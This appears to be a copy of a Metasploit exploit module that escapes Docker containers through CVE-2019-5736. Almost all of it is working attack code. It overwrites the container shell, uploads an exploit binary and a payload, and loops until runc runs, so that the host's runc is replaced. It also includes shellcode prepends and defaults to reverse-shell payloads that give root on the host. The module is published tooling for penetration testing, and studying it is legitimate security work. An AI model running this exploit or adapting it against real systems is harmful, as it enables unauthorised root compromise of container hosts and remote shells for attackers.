Docker Container Escape

                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = ManualRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  # This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
  PAYLOAD_MAX_SIZE = 1048576

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker Container Escape Via runC Overwrite',
        'Description' => %q{
          This module leverages a flaw in `runc` to escape a Docker container
          and get command execution on the host as root. This vulnerability is
          identified as CVE-2019-5736. It overwrites the `runc` binary with the
          payload and wait for someone to use `docker exec` to get into the
          container. This will trigger the payload execution.

          Note that executing this exploit carries important risks regarding
          the Docker installation integrity on the target and inside the
          container ('Side Effects' section in the documentation).
        },
        'Author' => [
          'Adam Iwaniuk', # Discovery and original PoC
          'Borys Popławski', # Discovery and original PoC
          'Nick Frichette', # Other PoC
          'Christophe De La Fuente', # MSF Module
          'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)
        ],
        'References' => [
          ['CVE', '2019-5736'],
          ['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
          ['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
        ],
        'DisclosureDate' => '2019-01-01',
        'License' => MSF_LICENSE,
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Type' => :unix_memory,
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux (Dropper) x64',
            {
              'Platform' => 'linux',
              'Type' => :linux_dropper,
              'Arch' => ARCH_X64,
              'Payload' => {
                'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string
                    push 4
                    pop  rdi
                  _close_fds_loop:
                    dec rdi
                    push 3
                    pop rax
                    syscall
                    test rdi, rdi
                    jnz _close_fds_loop

                    mov  rax, 0x000000000000006c
                    push rax
                    mov  rax, 0x6c756e2f7665642f
                    push rax
                    mov  rdi, rsp
                    xor  rsi, rsi

                    push 2
                    pop  rax
                    syscall

                    push 2
                    pop  rax
                    syscall

                    push 2
                    pop  rax
                    syscall
                ASM
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
                'PrependFork' => true
              }
            }
          ],
          [
            'Linux (Dropper) x86',
            {
              'Platform' => 'linux',
              'Type' => :linux_dropper,
              'Arch' => ARCH_X86,
              'Payload' => {
                'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string
                    push 4
                    pop  edi
                  _close_fds_loop:
                    dec  edi
                    push 6
                    pop  eax
                    int  0x80
                    test edi, edi
                    jnz  _close_fds_loop

                    push 0x0000006c
                    push 0x7665642f
                    push 0x6c756e2f
                    mov  ebx, esp
                    xor  ecx, ecx

                    push 5
                    pop  eax
                    int  0x80

                    push 5
                    pop  eax
                    int  0x80

                    push 5
                    pop  eax
                    int  0x80
                ASM
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
                'PrependFork' => true
              }
            }
          ]
        ],
        'DefaultOptions' => {
          # Give the user on the target plenty of time to trigger the payload
          'WfsDelay' => 300
        },
        'DefaultTarget' => 1,
        'Notes' => {
          # Docker may hang and will need to be restarted
          'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new(
        'OVERWRITE',
        [
          true,
          'Shell to overwrite with \'#!/proc/self/exe\'',
          '/bin/sh'
        ]
      ),
      OptString.new(
        'SHELL',
        [
          true,
          'Shell to use in scripts (must be different than OVERWRITE shell)',
          '/bin/bash'
        ]
      ),
      OptString.new(
        'WRITABLEDIR',
        [
          true,
          'A directory where you can write files.',
          '/tmp'
        ]
      )
    ])
  end

  def encode_begin(real_payload, reqs)
    super

    return unless target['Type'] == :unix_memory

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      # Replace any instance of the shell we're about to overwrite with the
      # substitution shell.
      pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
      overwrite_basename = File.basename(datastore['OVERWRITE'])
      shell_basename = File.basename(datastore['SHELL'])
      # Also, substitute shell base names, since some payloads rely on PATH
      # environment variable to call a shell
      pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
      # Prepend shebang
      "#!#{datastore['SHELL']}\n#{pl}\n\n"
    end
  end

  def exploit
    unless is_root?
      fail_with(Failure::NoAccess,
                'The exploit needs a session as root (uid 0) inside the container')
    end
    if target['Type'] == :unix_memory
      print_warning(
        "A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\
        "unavailable on the target as long as the new session is alive. Using a\n"\
        "Meterpreter payload is recommended, since specific code that\n"\
        "daemonizes the process is automatically prepend to the payload\n"\
        "and won\'t block Docker."
      )
    end

    verify_shells

    path = datastore['WRITABLEDIR']
    overwrite_shell(path)
    shell_path = setup_exploit(path)

    print_status("Launch exploit loop and wait for #{wfs_delay} sec.")
    cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)

    print_status('Done. Waiting a bit more to make sure everything is setup...')
    sleep(5)
    print_good('Session ready!')
  end

  def verify_shells
    ['OVERWRITE', 'SHELL'].each do |option_name|
      shell = datastore[option_name]
      unless command_exists?(shell)
        fail_with(Failure::BadConfig,
                  "Shell specified in #{option_name} module option doesn't exist (#{shell})")
      end
    end
  end

  def overwrite_shell(path)
    @shell = datastore['OVERWRITE']
    @shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"
    print_status("Make a backup of #{@shell} (#{@shell_bak})")
    # This file will be restored if the loop script succeed. Otherwise, the
    # cleanup method will take care of it.
    begin
      copy_file(@shell, @shell_bak)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")
    end

    print_status("Overwrite #{@shell}")
    begin
      write_file(@shell, '#!/proc/self/exe')
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")
    end
  end

  def setup_exploit(path)
    print_status('Upload payload')
    payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
    if target['Type'] == :unix_memory
      vprint_status("Updated payload:\n#{payload.encoded}")
      upload(payload_path, payload.encoded)
    else
      pl = generate_payload_exe
      if pl.size > PAYLOAD_MAX_SIZE
        fail_with(Failure::BadConfig,
                  "Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
      end
      upload(payload_path, generate_payload_exe)
    end

    print_status('Upload exploit')
    exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(exe_path, get_exploit)
    register_files_for_cleanup(exe_path)

    shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
    @runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
    print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")
    upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))

    return shell_path
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    begin
      write_file(path, data)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")
    end
    register_file_for_cleanup(path)
  end

  def upload_and_chmodx(path, data)
    upload(path, data)
    chmod(path, 0o755)
  end

  def get_exploit
    target_arch = session.arch
    if session.arch == ARCH_CMD
      target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86
    end
    case target_arch
    when ARCH_X64
      exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
    when ARCH_X86
      exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
    else
      fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")
    end
  end

  def loop_script(exe_path:, payload_path:)
    <<~SHELL
      while true; do
        for f in /proc/*/exe; do
          tmp=${f%/*}
          pid=${tmp##*/}
          cmdline=$(cat /proc/${pid}/cmdline)
          if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
            #{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&
            sleep 3
            mv -f #{@shell_bak} #{@shell}
            chmod +x #{@shell}
            exit
          fi
        done
      done
    SHELL
  end

  def cleanup
    super

    # If something went wrong and the loop script didn't restore the original
    # shell in the docker container, make sure to restore it now.
    if @shell_bak && file_exist?(@shell_bak)
      copy_file(@shell_bak, @shell)
      chmod(@shell, 0o755)
      print_good('Container shell restored')
    end
  rescue Rex::Post::Meterpreter::RequestError => e
    fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")
  ensure
    # Make sure we delete the backup file
    begin
      rm_f(@shell_bak) if @shell_bak
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")
    end
  end

  def on_new_session(new_session)
    super
    @session = new_session
    runc_path = cmd_exec('which docker-runc')
    if runc_path == ''
      print_error(
        "'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\
        "This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"
      )
      return
    end

    begin
      rm_f(runc_path)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Unable to delete #{runc_path}: #{e}")
      return
    end
    if copy_file(@runc_backup_path, runc_path)
      chmod(runc_path, 0o755)
      print_good('Original runc binary restored')
      begin
        rm_f(@runc_backup_path)
      rescue Rex::Post::Meterpreter::RequestError => e
        print_error("Unable to delete #{@runc_backup_path}: #{e}")
      end
    else
      print_error(
        "Unable to restore the original runc binary #{@runc_backup_path}\n"\
        "This must be done manually with: 'cp #{@runc_backup_path} runc_path'"
      )
    end
  end

end
<p>